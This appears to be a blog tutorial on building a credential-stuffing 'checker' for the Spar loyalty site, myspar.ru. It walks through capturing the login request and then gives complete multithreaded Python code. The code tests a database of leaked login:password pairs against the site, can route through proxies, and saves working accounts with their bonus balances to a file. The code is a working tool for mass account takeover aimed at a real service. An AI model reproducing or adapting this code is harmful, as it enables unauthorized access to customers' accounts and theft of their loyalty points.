This article tells and shows how to write your own checker, what you need for this and where to get it
To get started, we need
1)Python latest version (optional, but it's always better to download the latest version), direct link to download the latest version
https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
2) If you want to use the example of this article to write your checker to another site that you need, then you will need a development environment,
for python, the best and most (as for me) environment is Pycharm, you can download it from the JetBrains official website
https://www.jetbrains.com/en-us/pycharm/download/download-thanks.html?platform=windows&code=PCC
I will show you how to write a checker on the example of the Spara site, there is no captcha on it and it does not ban for spam
First of all, we need a valid account on the Spara website
We go to the site, enter the login password and now the most interesting. We tear off the console using the f12 button,
go to the networks tab, and now click Login, now in a bunch of requests we are looking for something similar to login / auth / and something,
which looks like a request to the authorization script, at the bottom we should see our post request of this kind
AUTH_FORM: Y
TYPE: AUTH
backurl: /local/ajax/user/auth/
USER_LOGIN: 899999999
username: 899999999
USER_PASSWORD: password123
USER_REMEMBER: Y
Login: Y
AUTH_FORM=Y&TYPE=AUTH&backurl=%2Flocal%2Fajax%2Fuser%2Fauth%2F&USER_LOGIN=899999999&username=899999999&USER_PASSWORD=password123&USER_REMEMBER=Y&Login=Y
We are not leaving yet, now we are looking at our profile page, here we see the name and number of bonuses on the card
open html in the console and copy the line with bonuses
<span class="header-control__text-desc">8 bonuses</span>
Now we can go to Pycharm and start coding
Launch the environment and click Create new project
After loading and creating the project, go to File -> Setting -> Project Iterpreter
Click the plus sign on the right side of the window and **** search for requests, there you will automatically select the desired library, click install package
Now click on the folder on the left with the right mouse button new -> python file -> select the name of your file and create it
The first thing we need to do is import the necessary libraries for work
import requests
from multiprocessing import Process, Queue, Value
We need the first library to create requests to the site and receive responses from it
The second library is needed for threads
Let's start writing the script
if __name__ == "__main__":
count = 100 #Количество потоков
queue = Queue() #очередь откуда будут браться данные для наших потоков
Так как у вас скорее всего будет база аккаунтов то я покажу как доставать аккаунты из этой базы
with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
for line in fileToCHeck.readlines():
queue.put(line)
print(line+"\r")
fileToCHeck.close()
Now our lines are loaded in our turn
Launching our flows
for i in range(0, count):
proc = Process(target=checkValid, args=(queue,))
proc.start()
queue.close() #Закрываем очередь
Now let's write a check function for our streams
def checkValid(queue):
while(queue.empty() == False):
try:
line = queue.get()[:-1]
logPass = []
if ':' in line:
logPass = line.split(':')
if ';' in line:
logPass = line.split(';')
user_login = logPass[0]
user_pass = logPass[1]
data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login, #Вот и наш post запрос
'username': user_login,
'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
s = requests.Session()
s.get("https://myspar.ru/personal/")
resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
try:
bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
bonuses = re.search(">.*<", bonuses.group(0))
bonuses = bonuses.group(0)
file = open("checked.txt", "a")
file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
bonuses[1:-1] + "\n\n\n"))
file.close()
s.close()
except:
continue
except:
continue
What are we doing here.
1) We pass our queue with strings to the function
2) Split the line and cut out the line break character "\n"
line = queue.get()[:-1]
logPass = []
if ':' in line:
logPass = line.split(':')
if ';' in line:
logPass = line.split(';')
3) We form a post request based on the request from the beginning and insert our varying values \u200b\u200bin there, in this case this is a phone number and password
4) We create a session that will automatically accept, save and transfer cookies between pages,
We first go to the main page of the spar to get the initial cookie to show that we are a regular user, otherwise 90% of the sites
won't let me log in
5) Now we make a post request to the login script and pass our data there
6) The server gave us an html page, we parse it for a line with bonuses, if they are found, then the account is valid and we record information from it
to textbook
7) Close the file, close the connection and start the loop over with a new line
As soon as the queue is empty, the threads will finish their work one by one.
If you want to use proxies in your checker, then take a bunch of proxies, read them in the same way from the text reader as the lines with the log:pass
and pass them to streams
myProxies = {"https://223.241.2.199:4216"}
s.get("https://myspar.ru/personal/", proxies=myProxies)
resp = s.post("https://myspar.ru/personal/?login=yes", data=data,proxies=myProxies)
At the output, if you had valid accounts, then in a text file you will see this:
Phone: 8999999999
Password: password123
Bonuses: 233 бонуса
import requests
from multiprocessing import Process, Queue, Value
import re
import sys
def checkValid(queue):
while(queue.empty() == False):
try:
line = queue.get()[:-1]
if ':' in line:
c = line.split(':')
if ';' in line:
c = line.split(';')
user_login = c[0]
user_pass = c[1]
data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login,
'username': user_login,
'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
s = requests.Session()
s.get("https://myspar.ru/personal/")
resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
try:
bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
bonuses = re.search(">.*<", bonuses.group(0))
bonuses = bonuses.group(0)
file = open("checked.txt", "a")
file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
bonuses[1:-1] + "\n\n\n"))
file.close()
s.close()
except:
s.close()
continue
except:
continue
def createProc(queue, count):
for i in range(0, count):
proc = Process(target=checkValid, args=(queue,))
proc.start()
queue.close()
if __name__ == "__main__":
count = 100
queue = Queue()
with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
for line in fileToCHeck.readlines():
queue.put(line)
print(line+"\r")
fileToCHeck.close()
createProc(queue, count)
print("Запускается", count," потоков")
0 Comments:
Post a Comment